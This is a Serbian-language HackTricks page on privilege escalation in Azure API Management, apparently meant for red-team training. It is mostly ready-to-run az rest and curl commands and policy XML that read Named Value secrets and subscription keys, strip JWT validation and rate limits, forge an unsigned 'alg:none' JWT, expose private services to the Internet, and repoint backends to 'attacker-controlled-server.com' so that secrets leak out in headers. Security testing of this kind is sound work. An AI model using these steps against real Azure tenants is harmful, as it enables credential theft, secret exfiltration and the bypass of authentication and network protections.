Az - API Management Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action

Napad se sastoji u pristupu osetljivim tajnama pohranjenim u Azure API Management Named Values, bilo direktnim dohvaćanjem vrednosti tajni ili zloupotrebom dozvola za pribavljanje Key Vault–backed tajni pomoću managed identities.

az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>

Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action

Za svaku subscription, napadač može dobiti subscription keys koristeći listSecrets endpoint sa POST metodom:

az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"

Odgovor uključuje primarni ključ pretplate (primaryKey) i sekundarni ključ (secondaryKey). Sa ovim ključevima, napadač može da se autentifikuje i pristupi API-jevima objavljenim preko API Management Gateway:

curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>

Napadač može pristupiti svim API-ima i proizvodima povezanim sa pretplatom. Ako pretplata ima pristup osetljivim proizvodima ili API-ima, napadač može pribaviti poverljive informacije ili izvršiti neovlašćene operacije.

Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write

Napadač prvo preuzima trenutnu politiku API-ja:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"

Napadač može izmeniti politiku na više načina u zavisnosti od svojih ciljeva. Na primer, da bi onemogućio autentifikaciju, ako politika uključuje JWT token validation, napadač može ukloniti ili zakomentarisati taj deo:

<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>

Da bi uklonio kontrole rate-limiting-a i omogućio denial-of-service napade, napadač može ukloniti ili komentarisati quota i rate-limit politike:

<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>

Da biste izmenili backend rutu i preusmerili saobraćaj na server pod kontrolom napadača:

<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>

Napadač zatim primenjuje izmenjenu politiku. Telo zahteva mora biti JSON objekat koji sadrži politiku u XML formatu:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'

JWT Validation Misconfiguration

Napadač treba da zna da API koristi JWT token validation i da je politika pogrešno konfigurisana. Loše konfigurisane JWT validation politike mogu imati require-signed-tokens="false" ili require-expiration-time="false", što omogućava servisu da prihvati unsigned tokens ili tokens that never expire.

Napadač kreira zlonamerni JWT token koristeći none algorithm (unsigned):

# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.

Napadač šalje zahtev API-ju koristeći zlonamerni token:

curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path

Ako je politika pogrešno konfigurisana sa require-signed-tokens="false", servis će prihvatiti token bez potpisa. Napadač takođe može kreirati token bez claim-a o isteku ako je require-expiration-time="false".

Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

Napadač prvo proverava trenutnu mrežnu konfiguraciju servisa:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"

Napadač pregleda JSON odgovor da bi proverio vrednosti publicNetworkAccess i virtualNetworkType. Ako je publicNetworkAccess postavljen na false ili je virtualNetworkType postavljen na Internal, servis je konfigurisan za privatni pristup.

Da bi izložio servis Internetu, napadač mora promeniti oba podešavanja. Ako servis radi u internom režimu (virtualNetworkType: "Internal"), napadač ga menja u None ili External i omogućava javni pristup mreži. Ovo se može uraditi korišćenjem Azure Management API-ja:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'

Kada je virtualNetworkType postavljen na None ili External i publicNetworkAccess omogućen, servis i svi njegovi API-ji postaju dostupni sa Interneta, čak i ako su prethodno bili zaštićeni iza privatne mreže ili private endpoints.

Microsoft.ApiManagement/service/backends/write

Napadač prvo izlistava postojeće backende da bi identifikovao koji treba izmeniti:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"

Napadač preuzima trenutnu konfiguraciju backenda koji želi da izmeni:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"

Napadač menja backend URL kako bi pokazivao na server pod svojom kontrolom. Prvo dobiju ETag iz prethodnog odgovora, a zatim ažuriraju backend:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'

Alternativno, napadač može da konfiguriše backend headers da exfiltrate Named Values koji sadrže tajne. Ovo se radi kroz backend credentials configuration:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'

Uz ovu konfiguraciju, Named Values se šalju kao zaglavlja u svim zahtevima ka backendu koji kontroliše napadač, što omogućava eksfiltraciju osetljivih tajni.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks